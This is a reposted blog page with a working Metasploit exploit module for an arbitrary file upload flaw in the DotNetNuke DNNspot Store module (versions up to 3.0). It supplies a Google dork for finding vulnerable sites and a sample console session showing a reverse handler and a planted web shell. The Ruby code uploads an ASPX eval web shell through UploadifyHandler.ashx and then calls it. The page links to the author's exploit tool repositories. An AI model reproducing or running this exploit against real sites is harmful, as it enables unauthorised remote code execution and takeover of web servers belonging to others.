zoukankan      html  css  js  c++  java
  • [EXP]K8 DotNetNuke DNNspot Store <=3.0 GetShell exploit

    # Exploit Title: DotNetNuke DNNspot Store <=3.0 GetShell exploit
    # Date: 31/03/2015
    # Author: K8拉登哥哥
    # Version: 3.0.0
    # Vendor: DNNspot
    # Vendor URL: https://www.dnnspot.com
    # Google Dork: inurl:/DesktopModules/DNNspot-Store/
    #
    #msf > use exploit/windows/http/DNNspot_upload_aspx
    #msf exploit(DNNspot_upload_aspx) > set RHOST qqhack8.blog.163.com
    #RHOST => qqhack8.blog.163.com
    #msf exploit(DNNspot_upload_aspx) > exploit

    #[*] Started reverse handler on 192.168.85.158:4444
    #[*] qqhack8.blog.163.com:80 - Uploading payload...
    #[*] K8WebShell: qqhack8.blog.163.com:80/DesktopModules/DNNspot-Store/ProductPhotos/hhmjrrhd.aspx
    #[!] This exploit may require manual cleanup of 'hhmjrrhd.aspx' on the target
    #msf exploit(DNNspot_upload_aspx) >



    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking

      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper

      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload',
          'Description'    => %q{
            This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
            module versions below 3.0.0.
          },
          'Author'         =>
            [
              'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>'
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              [ 'URL', 'http://metasploit.com' ]
            ],
          'Platform'       => 'win',
          'Arch'           => ARCH_X86,
          'Privileged'     => false,
          'Targets'        =>
            [
              [ 'DNNspot-Store / Windows', {} ],
            ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => 'Jul 21 2014'))
      end

      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
        })

        if res and res.code == 200
          return Exploit::CheckCode::Detected
        else
          return Exploit::CheckCode::Safe
        end
      end

      def exploit
        @payload_name = "#{rand_text_alpha_lower(8)}.aspx"
        exe  = generate_payload_exe
        aspx  = Msf::Util::EXE.to_exe_aspx(exe)
        post_data = Rex::MIME::Message.new
        post_data.add_part("<%@ Page Language="Jscript"%><%eval(Request.Item["tom"],"unsafe");%>", "application/octet-stream", nil, "form-data; name="Filedata"; filename="#{@payload_name}"")
        post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name="folder"")
        post_data.add_part("1", nil, nil, "form-data; name="productId"")
        post_data.add_part("w00t", nil, nil, "form-data; name="type"")
        data = post_data.to_s.gsub(/^ --\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload...")
        res = send_request_cgi({
          "method" => "POST",
          "uri"    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
          "data"   => data,
          "ctype"  => "multipart/form-data; boundary=#{post_data.bound}"
        })

        unless res and res.code == 200
          fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        register_files_for_cleanup(@payload_name)

        print_status("K8WebShell: #{peer}/DesktopModules/DNNspot-Store/ProductPhotos/#{@payload_name}")
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
        })
      end
    end


    https://github.com/k8gege/DotNetNukeEXPLOIT

    https://github.com/k8gege/K8tools

  • 相关阅读:
    全--教程API, gem 'rest-client'(用于发简单请求); 请求测试;
    GoRails教程自建Rails 的 API; gem 'jbuilder'简单用法;使用JWT进行验证(git上的实做);curl命令使用;status状态码;JWT文档翻译摘录;
    go Rails 知识点,Concepts Series:url和parameter; 建立Rails App Templates;报错页面debug; counter_cache
    FontAwesome::Sass(5.x版)使用帮助。
    问题记录:
    slim(4621✨)
    物联网平台开发及应用:基于CC2530和ZigBee
    CATIA V5-6 R2017基础、进阶、高手一本通
    计算机组装与维护标准教程(2015—2018版)
    Web程序设计——ASP.NET(第2版)
  • 原文地址:https://www.cnblogs.com/k8gege/p/10454182.html
Copyright © 2011-2022 走看看